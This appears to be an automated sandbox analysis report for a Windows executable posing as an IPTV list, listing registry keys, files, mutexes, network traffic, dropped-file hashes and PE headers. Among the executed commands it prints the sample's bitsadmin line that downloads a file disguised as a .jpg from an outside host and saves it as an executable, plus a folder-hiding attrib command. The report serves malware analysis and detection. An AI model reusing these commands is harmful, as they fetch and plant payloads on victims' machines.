HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete\Client\

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\AutoComplete\Client\(Default)

HKEY_CURRENT_USER\Control Panel\Desktop

HKEY_CURRENT_USER\Control Panel\Desktop\SmoothScroll

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\EnableBalloonTips

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ListviewAlphaSelect

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ListviewShadow

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\AccListViewV6

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\UseDoubleClickTimer

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\FontSubstitutes

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes\Segoe UI

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\ProgramFilesDir

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\Compatibility\16b493c5a8b014fd3f0eabb66c90f427fee4c84e.exe

HKEY_LOCAL_MACHINE\Software\Microsoft\CTF\TIP\{0000897b-83df-4b96-be07-0fb58b01c4a4}\LanguageProfile\0x00000000\{0001bea3-ed56-483d-a2e2-
aeae25577436}

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\TIP\{0000897b-83df-4b96-be07-0fb58b01c4a4}\LanguageProfile\0x00000000\{0001bea3-ed56-483d-a2e2-
aeae25577436}\Enable

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\
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EXECUTED COMMANDS

READ FILES

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\CTF\EnableAnchorContext

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR

C:\Program Files (x86)\amd\sets.exe

"C:\Program Files (x86)\Notepad++\notepad++.exe" "C:\Program Files (x86)\amd\IPTVFULLVIP.txt"

C:\Program Files (x86)\amd\IPTVFULLVIP.txt

"C:\Users\user\AppData\Local\Temp\ytmp\t9766.bat" "C:\Program Files (x86)\amd\sets.exe"

C:\Users\user\AppData\Local\Temp\ytmp\t9766.bat "C:\Program Files (x86)\amd\sets.exe"

attrib +h C:\Users\user\AppData\Local\Temp\ytmp

bitsadmin.exe /transfer "Download " https://dev-point.co/uploads1/d5533d8f14e31.jpg C:\Users\user\AppData\Roaming\update\settings.exe

C:\Windows\Globalization\Sorting\sortdefault.nls

\Device\KsecDD

C:\Users\user\AppData\Local\Temp\16b493c5a8b014fd3f0eabb66c90f427fee4c84e.exe

C:\Windows\System32\UXTheme.dll.Config

C:\Windows\System32\uxtheme.dll

C:\Windows\win.ini

C:\Windows\Fonts\staticcache.dat

C:\Windows\SysWOW64\shell32.dll

C:\Program Files (x86)\amd\__tmp_rar_sfx_access_check_18817156

C:\Program Files (x86)\Notepad++\notepad++.exe

C:\Program Files (x86)\amd\sets.exe

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000004a.db

C:\Users\user\Desktop\desktop.ini

C:\

C:\Users\desktop.ini

C:\Users

C:\Users\user

C:\Users\user\Searches\desktop.ini

C:\Users\user\Videos\desktop.ini

C:\Users\user\Pictures\desktop.ini

C:\Users\user\Contacts\desktop.ini
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C:\Users\user\Favorites\desktop.ini

C:\Users\user\Music\desktop.ini

C:\Users\user\Downloads\desktop.ini

C:\Users\user\Documents\desktop.ini

C:\Users\user\Links\desktop.ini

C:\Users\user\Saved Games\desktop.ini

C:\Windows\System32\shdocvw.dll

C:\Windows\AppPatch\sysmain.sdb

C:\Windows\System32\

C:\Program Files (x86)\Notepad++\SciLexer.dll

C:\Windows\System32\msimg32.dll

C:\Users\user\AppData

C:\Windows\System32\tzres.dll

C:\Users\user\AppData\Roaming\Notepad++\langs.xml

C:\Users\user\AppData\Roaming\Notepad++\config.xml

C:\Users\user\AppData\Roaming\Notepad++\stylers.xml

C:\Users\user\AppData\Roaming\Notepad++\userDefineLang.xml

C:\Program Files (x86)\Notepad++\nativeLang.xml

C:\Users\user\AppData\Roaming\Notepad++\toolbarIcons.xml

C:\Users\user\AppData\Roaming\Notepad++\shortcuts.xml

C:\Users\user\AppData\Roaming\Notepad++\contextMenu.xml

C:\Windows\System32\uxtheme.dll.Config

C:\Program Files (x86)\Notepad++\plugins\mimeTools.dll

C:\Program Files (x86)\Notepad++\plugins\NppConverter.dll

C:\Users\user\AppData\Roaming\Notepad++\plugins\config\converter.ini

C:\Program Files (x86)\Notepad++\plugins\NppExport.dll

C:\Program Files (x86)\Notepad++\plugins\PluginManager.dll

C:\Windows\System32\version.dll

C:\Users\user\AppData\Roaming\Notepad++\plugins\config\PluginManager.ini

C:\Program Files (x86)\amd\IPTVFULLVIP.txt

C:\Users\user\AppData\Roaming\Notepad++\plugins\config\PluginManagerGpup.xml

C:\Users\user\AppData\Roaming\Notepad++\plugins\config\PluginManagerPlugins.xml

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\user@downloads.sourceforge[1].txt

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\1233B8D21D2ECB0483D16253D1FF3964BD09EF0C

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\16B1DD478BCE71A0FB1822E8F4F30AB467BBEFD4
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MUTEXES

MODIFIED REGISTRY KEYS

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\2064A97B987412930E2994D60AE7EB72D89BC4F7

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\37998502C2CC1852F8774DAF543DD76D10D6FD93

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\418C30DD41197CBAABF21675F8559794F5551115

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\44E5AE16D06F9FBB92D6D9444B5C65C0F331D0EC

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\4FDDCB932603534677ECAE8C7D0FD914FD443E83

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\5D247FE955609769879FB1DD016537EEF650B8EC

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\6A8C669D7D1D5759CE7C1E0C5BE286257C31F366

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\744CDF45BF43EF285758286CAC89AF786F938342

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\761F091EA5F80A98B0D89734231D300CF9C027E8

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\7A5F1A5DE6AA551C795CC508128C6D894FA2C502

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\8291DA84F9266F6D0ED367AF8BE3FA722529EB91

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\871E3CD70B6F8EE3C1E7BE4C7BEF4FFCCE673E32

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\8A82FE0617F4170E0BF052CF6BABFC628DA51919

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\8B943CF0CAEF7F6F04E98C9405960323B23C516D

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\9317D002FC43BDA932B8397B6E729B83D48EEB8D

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\95EEF9A37407C5B87BCF95D69B01DCFDAFD07635

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\A092A81885DDD5AAD1EC1A803D7183779D81B6F9

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\BAED8A8C5A147CFA78E686BB4A8E5829C2F934F5

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\C8A51E044BF5AF39158BB24E414E8FDCD2891C3A

DefaultTabtip-MainUI

CicLoadWinStaWinSta0

Local\MSCTF.CtfMonitorInstMutexDefault1

Local\ZoneAttributeCacheCounterMutex

Local\ZonesCacheCounterMutex

Local\ZonesLockedCacheCounterMutex

nppInstance

DBWinMutex

IESQMMUTEX_0_208

Local\ZonesCounterMutex

Local\!IETld!Mutex

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet
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HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\FilesNotToBackup\BITS_LOG

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\FilesNotToBackup\BITS_BAK

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Diag\BITS Writer

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS\StateIndex

HKEY_USERS\S-1-5-21-2298303332-66077612-2598613238-1000_CLASSES\Local Settings\MuiCache\6D\52C64B7E\LanguageList

HKEY_USERS\S-1-5-21-2298303332-66077612-2598613238-1000_CLASSES\Local Settings\MuiCache\6D\52C64B7E\@%SystemRoot%\system32\qagentrt.dll,-10

HKEY_USERS\S-1-5-21-2298303332-66077612-2598613238-1000_CLASSES\Local Settings\MuiCache\6D\52C64B7E\@%SystemRoot%\System32\fveui.dll,-843

HKEY_USERS\S-1-5-21-2298303332-66077612-2598613238-1000_CLASSES\Local Settings\MuiCache\6D\52C64B7E\@%SystemRoot%\System32\fveui.dll,-844
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Network Behavior

CONTACTED IPS NETWORK PORT DISTRIBUTION

39.1%
17.4%

30.4%

5355 (UDP) 39.13%
443 (TCP) 4.35%
53 (UDP) 17.39%
137 (UDP) 2.17%
3702 (UDP) 2.17%
80 (TCP) 30.43%
138 (UDP) 2.17%
1900 (UDP) 2.17%

Name IP Country ASN ASN Name Trigger Process Type

8.8.4.4 United States 15169 Level 3 Parent, LLC Malware Process

151.101.0.234 United States 54113 Fastly Malware Process

184.24.97.182 United States 20940 Akamai Technologies, Inc. OS Process

184.26.44.103 United States 20940 Akamai Technologies, Inc. Malware Process

23.67.250.163 United States 20940 Akamai Technologies, Inc. OS Process

downloads.sourceforge.net 216.105.38.13 United States 6130 Internet Express Malware Process

dev-point.co 104.27.189.58 United States 13335 Cloudflare, Inc. Malware Process

crl.globalsign.net 104.18.21.226 United States 13335 Cloudflare, Inc. Malware Process

astuteinternet.dl.sourceforge.net 162.213.157.36 Canada 54527 Astute Hosting Inc. Malware Process

crl.microsoft.com 63.238.216.18 United States 209 Qwest Communications Co… OS Process

ocsp.int-x3.letsencrypt.org 65.152.202.185 United States 209 Qwest Communications Co… Malware Process

isrg.trustid.ocsp.identrust.com 65.152.202.225 United States 209 Qwest Communications Co… Malware Process

ctldl.windowsupdate.com 23.208.166.41 United States 20940 Akamai Technologies, Inc. OS Process
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HTTP PACKETS

Host Port Method Version User Agent Count Call Time During Execution(Sec)

downloads.sourceforge.net 80 GET 1.1 Notepad++/Plugin-Manag… 1 14.5708889961

Path: /project/npppluginmgr/xml/plugins.md5.txt
URI: http://downloads.sourceforge.net/project/npppluginmgr/xml/plugins.md5.txt

ctldl.windowsupdate.com 80 GET 1.1 Microsoft-CryptoAPI/6.1 1 22.4701991081

Path: /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?ba1facd29e2bd627
URI: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?ba1facd29e2bd627

isrg.trustid.ocsp.identrust.com 80 GET 1.1 Microsoft-CryptoAPI/6.1 1 29.8998241425

Path: /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRv9GhNQxLSSGKBnMArPUcsHYovpgQUxKexpHsscfrb4UuQdf%2FEFWCFiRACEAoBQUIAAAFThXNqC4Xspwg%3D
URI:
http://isrg.trustid.ocsp.identrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRv9GhNQxLSSGKBnMArPUcsHYovpgQUxKexpHsscfrb4UuQdf%2FEFWCFiRACEAoB
QUIAAAFThXNqC4Xspwg%3D

ocsp.int-x3.letsencrypt.org 80 GET 1.1 Microsoft-CryptoAPI/6.1 1 36.493117094

Path:
/MFMwUTBPME0wSzAJBgUrDgMCGgUABBR%2B5mrncpqz%2FPiiIGRsFqEtYHEIXQQUqEpqYwR93brm0Tm3pkVl7%2FOo7KECEgTUnSbwkleVdmFFlNIuEGjLIA%3D%
3D
URI: http://ocsp.int-
x3.letsencrypt.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBR%2B5mrncpqz%2FPiiIGRsFqEtYHEIXQQUqEpqYwR93brm0Tm3pkVl7%2FOo7KECEgTUnSbwkleVdmF
FlNIuEGjLIA%3D%3D

crl.microsoft.com 80 GET 1.1 Microsoft-CryptoAPI/6.1 1 74.2308571339

Path: /pki/crl/products/tspca.crl
URI: http://crl.microsoft.com/pki/crl/products/tspca.crl

crl.microsoft.com 80 GET 1.1 Microsoft-CryptoAPI/6.1 1 79.638395071

Path: /pki/crl/products/CodeSignPCA2.crl
URI: http://crl.microsoft.com/pki/crl/products/CodeSignPCA2.crl

crl.microsoft.com 80 GET 1.1 Microsoft-CryptoAPI/6.1 1 85.9591960907

Path: /pki/crl/products/WinPCA.crl
URI: http://crl.microsoft.com/pki/crl/products/WinPCA.crl

crl.globalsign.net 80 GET 1.1 Microsoft-CryptoAPI/6.1 1 91.6433951855

Path: /primobject.crl
URI: http://crl.globalsign.net/primobject.crl
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DNS QUERIES

Request Type

downloads.sourceforge.net A

Answers
- 216.105.38.13 (A)

astuteinternet.dl.sourceforge.net A

Answers
- 162.213.157.36 (A)

ctldl.windowsupdate.com A

Answers
- ctldl.windowsupdate.nsatc.net (CNAME)
- 23.67.250.169 (A)
- a1621.g.akamai.net (CNAME)
- ctldl.windowsupdate.com.edgesuite.net (CNAME)
- 23.67.250.163 (A)

isrg.trustid.ocsp.identrust.com A

Answers
- 184.26.44.103 (A)
- 184.26.44.106 (A)
- a279.dscq.akamai.net (CNAME)
- isrg.trustid.ocsp.identrust.com.edgesuite.net (CNAME)

dev-point.co A

Answers
- 104.27.188.58 (A)
- 104.27.189.58 (A)

ocsp.int-x3.letsencrypt.org A

Answers
- 184.26.44.105 (A)
- a771.dscq.akamai.net (CNAME)
- ocsp.int-x3.letsencrypt.org.edgesuite.net (CNAME)

crl.microsoft.com A

Answers
- 184.24.97.184 (A)
- crl.www.ms.akadns.net (CNAME)
- 184.24.97.182 (A)
- a1363.dscg.akamai.net (CNAME)

crl.globalsign.net A

Answers
- 151.101.0.234 (A)
- 151.101.192.234 (A)
- global.prd.cdn.globalsign.com (CNAME)
- 151.101.128.234 (A)
- globalsign.map.fastly.net (CNAME)
- 151.101.64.234 (A)
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TCP PACKETS

Call Time During Execution(sec) Source IP Dest IP Dest Port

14.5708889961 Sandbox 216.105.38.13 80

15.305295229 Sandbox 162.213.157.36 443

22.4701991081 Sandbox 23.67.250.163 80

29.8998241425 Sandbox 184.26.44.103 80

33.0242621899 Sandbox 104.27.189.58 443

36.493117094 Sandbox 184.26.44.103 80

74.2308571339 Sandbox 184.24.97.182 80

91.6433951855 Sandbox 151.101.0.234 80
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UDP PACKETS

Call Time During Execution(sec) Source IP Dest IP Dest Port

7.01526403427 Sandbox 224.0.0.252 5355

7.03980517387 Sandbox 224.0.0.252 5355

7.04550218582 Sandbox 239.255.255.250 3702

7.08704018593 Sandbox 192.168.56.255 137

9.61229300499 Sandbox 224.0.0.252 5355

13.1803572178 Sandbox 192.168.56.255 138

14.4785761833 Sandbox 8.8.4.4 53

15.0137062073 Sandbox 8.8.4.4 53

16.8226602077 Sandbox 224.0.0.252 5355

19.7281551361 Sandbox 224.0.0.252 5355

22.3380532265 Sandbox 8.8.4.4 53

24.4169311523 Sandbox 224.0.0.252 5355

24.8373601437 Sandbox 239.255.255.250 1900

27.217220068 Sandbox 224.0.0.252 5355

29.7432610989 Sandbox 224.0.0.252 5355

29.8544812202 Sandbox 8.8.4.4 53

30.7443811893 Sandbox 224.0.0.252 5355

32.6649310589 Sandbox 8.8.4.4 53

33.71037817 Sandbox 224.0.0.252 5355

36.3377730846 Sandbox 8.8.4.4 53

68.7800071239 Sandbox 224.0.0.252 5355

71.519162178 Sandbox 224.0.0.252 5355

74.1408410072 Sandbox 8.8.4.4 53

74.3551990986 Sandbox 224.0.0.252 5355

77.0686740875 Sandbox 224.0.0.252 5355

80.1412792206 Sandbox 224.0.0.252 5355

83.3072421551 Sandbox 224.0.0.252 5355

86.1584742069 Sandbox 224.0.0.252 5355

89.0312511921 Sandbox 224.0.0.252 5355

91.5955421925 Sandbox 8.8.4.4 53
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DETAILED FILE INFO

CREATED / DROPPED FILES

FILE PATH TYPE AND HASHES

C:\Program Files (X86)\Amd\Sets.Exe Type : PE32 executable (GUI) Intel 80386, for MS Windows
MD5 : 61c8fce1b47f1fd11bd37a28ad0550ad
SHA-1 : 60ba788e8738887a5808119302363292e520f1a0
SHA-256 : a180905ef11e404a1e400487959b25bdd003f7b0…
SHA-512 : 6f4bcd7c7de76ff5fd7b14f522b162f0a876af18e63…
Size : 61.892 Kilobytes.

C:\Users\User\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB9
5DF3F0AD4EE2DC2B8CFD4157

Type : Microsoft Cabinet archive data, 6509 bytes, 1 file
MD5 : 33b39e2a516ef730a8fa922894f0fbd5
SHA-1 : 03d455583dda59215d945af76af6293b202f586f
SHA-256 : 9446e8f2056fea3ac1365a809ada04602606242c3…
SHA-512 : 75763aa13b43eb96294b0f84e13106611198872e…
Size : 6.509 Kilobytes.

C:\Users\User\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E49827401
028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08

Type : data
MD5 : 99eea778fe0243afed79759a506eeb9b
SHA-1 : 216ca8987cfe0f5da553743e2c5d46a2f795900a
SHA-256 : 3cf14628de1ef1a2450ab0cb51f409a3df9d3b7b0…
SHA-512 : 63773d71350d2166e849051a18b6f9a4f707ce984…
Size : 1.398 Kilobytes.

C:\Users\User\AppData\Roaming\Notepad++\Plugins\Config\PluginManager.Ini Type : ASCII text, with CRLF line terminators
MD5 : c79b2c7440f0c88b84dcbd8578d75fe5
SHA-1 : 0dbec1bd14e2f3f9fc3a7c98edb3daffaa4b6c51
SHA-256 : c677688d9536aa9dc333889ed665097f3cec9c62d…
SHA-512 : c2a163db2cc937ecbe24a264151c27d227790ab2…
Size : 0.086 Kilobytes.

C:\Users\User\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E498274
01028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08

Type : data
MD5 : fb3d88d94322f52f489b9aba7748d46a
SHA-1 : 7f3d78c9652d504ffc7cba035f7fc7ffa1366817
SHA-256 : e353493cd5ebbc46ad0b2b2b97bceaa718d772a…
SHA-512 : a08e647facd79b1eaad9feb70f62e37961f6ee499a…
Size : 0.514 Kilobytes.

C:\Users\User\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8ED
B95DF3F0AD4EE2DC2B8CFD4157

Type : data
MD5 : 357619d0dc7e1a097cdca0b47187e5d3
SHA-1 : 530acdcafc094ca9ce28fd8c400bde0cf8c4d678
SHA-256 : 919393562d60949886e63d5816e5dead1d2d02a…
SHA-512 : 0c2166660ac03d40dad4900f9225b13395d9c29f4…
Size : 0.342 Kilobytes.

C:\Users\User\AppData\Local\Temp\Ytmp\T9766.Bat Type : DOS batch file, ASCII text, with CRLF line
terminators
MD5 : 84dec08ab4c1364e9c65b7e6157212db
SHA-1 : 635add9eb9cff6b1a14ad9f8351dfd00f03192ee
SHA-256 : 97a119200410c4ca69ac1a85be40fc780658762f84…
SHA-512 : 0ad0bcf8afd0cbd53ab40b431b7338cbcda07aa7…
Size : 0.554 Kilobytes.

C:\Users\User\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0E946D85
37A75553FF5E356937AD24FE

Type : data
MD5 : 685fafe57dda3897ee465934e4fd600c
SHA-1 : dcd5b5228419abb1384809ac7d5f06f00ff5cda6
SHA-256 : 63a1ceb385595a15ee4126034ce1cfb9f2438dc5e…
SHA-512 : 2950d0a3839a8b9ae5c64b9b15572fe862d1e0ca…
Size : 0.527 Kilobytes.
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C:\Program Files (X86)\Amd\IPTVFULLVIP.Txt Type : ASCII text, with CRLF line terminators
MD5 : 2a9af1866ff34ed0a43e8f1bce5b64b6
SHA-1 : 82996d4177828656b2d65dc939d6f2e4bc0634f5
SHA-256 : 781089d1d9ac1a4f836b68ccd438baa6bdd23520…
SHA-512 : 2c687621c6cb06c341007faecbdd0296f5ce01332…
Size : 5.969 Kilobytes.

C:\Users\User\AppData\Local\Temp\Ytmp\T9919.Exe Type : ASCII text, with no line terminators
MD5 : 3c52638971ead82b5929d605c1314ee0
SHA-1 : 7318148a40faca203ac402dff51bbb04e638545c
SHA-256 : 5614459ec05fdf6110fa8ce54c34e859671eeffba2b…
SHA-512 : 46f85f730e3ca9a57f51416c6ab4d03f868f895568…
Size : 0.015 Kilobytes.

C:\Users\User\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0E946D8
537A75553FF5E356937AD24FE

Type : data
MD5 : a15039a556cb3885c36a1be355517dfc
SHA-1 : 5b70bf4f39df9fb2bb6fea406a82390cd5ced36f
SHA-256 : 396c76d21a80881b78dcb197fd5aa8c74325e5e6…
SHA-512 : 343ffc9825b017720163f0b95372ea26ad548585b…
Size : 0.574 Kilobytes.

FILE PATH TYPE AND HASHES

STATIC FILE INFO

File Name: Full_IPTV_LIST_31.05.2018_VIP.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

SHA1: 16b493c5a8b014fd3f0eabb66c90f427fee4c84e

MD5: ce76e34c248864c35169c1521ec38e1c

First Seen Date: 2018-05-31 12:33:41.600837 ( about 13 hours ago )

Number Of Clients Seen: 2

Last Analysis Date: 2018-05-31 12:33:41.600837 ( about 13 hours ago )

Human Expert Analysis Result: No human expert analysis verdict given to this sample yet.
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DETAILED FILE INFO

ADDITIONAL FILE INFORMATION

 PE Headers

PROPERTY VALUE

Magic Literal Enum 3

File Type Enum 6

Debug Artifacts []

Number Of Sections 6

Trid []

Compilation Time Stamp 0x598DB703 [Fri Aug 11 13:54:11 2017 UTC]

Entry Point 0x411cd9 (.text)

Machine Type Intel 386 or later - 32Bit

File Size 416068

Ssdeep

Sha256 e8c2a2598e561028849760318c0cde66cb1bd79c79eb2811a45978358af6eaa3

Exifinfo []

Mime Type application/x-dosexec

Imphash

 PE Sections

NAME VIRTUAL ADDRESS VIRTUAL SIZE RAW SIZE ENTROPY MD5

.text 0x1000 0x22cf7 0x22e00 6.67042517033 f5ad955a230989aa05becb63d0cf8385

.rdata 0x24000 0x8e34 0x9000 5.09483813096 1a1a282653f9e036d723fc25083b62d0

.data 0x2d000 0x30898 0xc00 2.68733859147 fb88ced20f0a4f16504b09b8a7bef2ec

.gfids 0x5e000 0xf4 0x200 2.13092623588 9e4e2441571635004df0045bda0e0d73

.rsrc 0x5f000 0x2ca4c 0x2cc00 3.16195793587 59e818cd51da2cdc92e54b6bd451ffa2

.reloc 0x8c000 0x2478 0x2600 6.63273168643 52b0972d25e2e23eb190a8d2ea8b550a

 PE Resources

 {u'lang': u'LANG_ENGLISH', u'name': u'RT_BITMAP', u'offset': 390764, u'sha256':
u'690c938562399f89ad78e3fde2a7edaee8ddf2fafef987a7b37e577a8f6126ea', u'type': u'data', u'size': 2998}
 {u'lang': u'LANG_NEUTRAL', u'name': u'RT_ICON', u'offset': 393764, u'sha256':
u'3539eba71d085775779d6cf127d426ac134178a92ffade188a1814ff7bbe24a3', u'type': u'PNG image data, 256 x 256, 8-bit/color RGBA, non-
interlaced', u'size': 7451}
 {u'lang': u'LANG_NEUTRAL', u'name': u'RT_ICON', u'offset': 401216, u'sha256':
u'0783b64fb822163e93afe2244daaeb3d396f72cd4d533e2490ecba5cb2fcf3df', u'type': u'dBase IV DBT, blocks size 0, block length 2048, next free
block index 40, next free block 0, next used block 0', u'size': 67624}
 {u'lang': u'LANG_NEUTRAL', u'name': u'RT_ICON', u'offset': 468840, u'sha256':
u'27b87a82ef9d43867545d5c850dd351cac84c0e497a16aea472e208981cea3ef', u'type': u'data', u'size': 38056}
 {u'lang': u'LANG_NEUTRAL', u'name': u'RT_ICON', u'offset': 506896, u'sha256':
u'c96ba4eef0a852534b625a857718e8ca312a2ce648bf79ff7231edbaf2aae365', u'type': u'data', u'size': 21640}
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 {u'lang': u'LANG_NEUTRAL', u'name': u'RT_ICON', u'offset': 528536, u'sha256':
u'4c29406dc460320035054a639ffa04946aaa7a44a0c015bdd62b0d095864bd64', u'type': u'dBase IV DBT of \\200.DBF, blocks size 0, block length
16896, next free block index 40, next free block 4043309055, next used block 4294967055', u'size': 16936}
 {u'lang': u'LANG_NEUTRAL', u'name': u'RT_ICON', u'offset': 545472, u'sha256':
u'ddafbfe1780451a5e1ff981a5e8e1c157920f749e75a5c6f6b55528d461c0744', u'type': u'data', u'size': 9640}
 {u'lang': u'LANG_NEUTRAL', u'name': u'RT_ICON', u'offset': 555112, u'sha256':
u'3d66aca23ce9f41c476c08b4d4280e100f3f521347d6dde4aa8ce38495a7930e', u'type': u'data', u'size': 4264}
 {u'lang': u'LANG_NEUTRAL', u'name': u'RT_ICON', u'offset': 559376, u'sha256':
u'e77e6c8f520d051c84c34e42e0d10a726b4381313c95bcfff8cbf611929f1dc1', u'type': u'data', u'size': 2440}
 {u'lang': u'LANG_NEUTRAL', u'name': u'RT_ICON', u'offset': 561816, u'sha256':
u'31f39a63f6846ef181bc3738937c51ed6cfe8b85552f3c9d960fb46b32a14810', u'type': u'GLS_BINARY_LSB_FIRST', u'size': 1128}
 {u'lang': u'LANG_ENGLISH', u'name': u'RT_DIALOG', u'offset': 562944, u'sha256':
u'887347f27d903f6652ba35c3dfae297c23435755a63e02a80259ee6dd0b8af86', u'type': u'data', u'size': 646}
 {u'lang': u'LANG_ENGLISH', u'name': u'RT_DIALOG', u'offset': 563592, u'sha256':
u'2e11a1ed4f812e37fdb32a1310cdcca802c46497c27e33ab66ac127345463d31', u'type': u'data', u'size': 314}
 {u'lang': u'LANG_ENGLISH', u'name': u'RT_DIALOG', u'offset': 563908, u'sha256':
u'44e6a8daef1ac762f8016fc4c8aec52bad42f589b6d8a25d430a619610dd0028', u'type': u'data', u'size': 236}
 {u'lang': u'LANG_ENGLISH', u'name': u'RT_DIALOG', u'offset': 564144, u'sha256':
u'30358e9c494ca9d125b34ccb93a2d8f1237042904f6fcecc2f5ca9a83b7dba9d', u'type': u'data', u'size': 302}
 {u'lang': u'LANG_ENGLISH', u'name': u'RT_DIALOG', u'offset': 564448, u'sha256':
u'a1141852e6fb28826de51733ee35fbfdcf74dd8eb7f73049c7c7ad6c21d0cb33', u'type': u'data', u'size': 824}
 {u'lang': u'LANG_ENGLISH', u'name': u'RT_DIALOG', u'offset': 565272, u'sha256':
u'0f47dbda4a6e61d3288f63f249d25ab3f6e1fe497879a782d3eb1cd3922f3f4e', u'type': u'data', u'size': 594}
 {u'lang': u'LANG_ENGLISH', u'name': u'RT_STRING', u'offset': 565868, u'sha256':
u'450b4d82a86dba50acea995d6356e0174a242081f2c2438f6f88c29038f7097d', u'type': u'data', u'size': 482}
 {u'lang': u'LANG_ENGLISH', u'name': u'RT_STRING', u'offset': 566352, u'sha256':
u'89051dca472bd5ebb7b344c05150755b6e3d32cb0dffea086c04186820b188d2', u'type': u'data', u'size': 460}
 {u'lang': u'LANG_ENGLISH', u'name': u'RT_STRING', u'offset': 566812, u'sha256':
u'4b330444367ebff69a042f9aaa930485c02a02e7efdad56db24cb2b76dc8f134', u'type': u'data', u'size': 494}
 {u'lang': u'LANG_ENGLISH', u'name': u'RT_STRING', u'offset': 567308, u'sha256':
u'1e87eca343221966ecd9472109f3baf9081c821e3f4e905aa34eb8bce73af4e7', u'type': u'Hitachi SH big-endian COFF object, not stripped', u'size':
326}
 {u'lang': u'LANG_ENGLISH', u'name': u'RT_STRING', u'offset': 567636, u'sha256':
u'06b2bd666ed1afbbfc9914b94d703087c18248c5fe28dead42e42f22c3984c5e', u'type': u'data', u'size': 1094}
 {u'lang': u'LANG_ENGLISH', u'name': u'RT_STRING', u'offset': 568732, u'sha256':
u'd5755fffe2a9a4baf3593b8fba9a029b23bcc08e77c8d98e07b93baee6b9e6de', u'type': u'data', u'size': 358}
 {u'lang': u'LANG_ENGLISH', u'name': u'RT_STRING', u'offset': 569092, u'sha256':
u'a71a1445d83285856c39bf2f0caa19e88c9be65f0178a6878f321a925a21f97c', u'type': u'data', u'size': 288}
 {u'lang': u'LANG_ENGLISH', u'name': u'RT_STRING', u'offset': 569380, u'sha256':
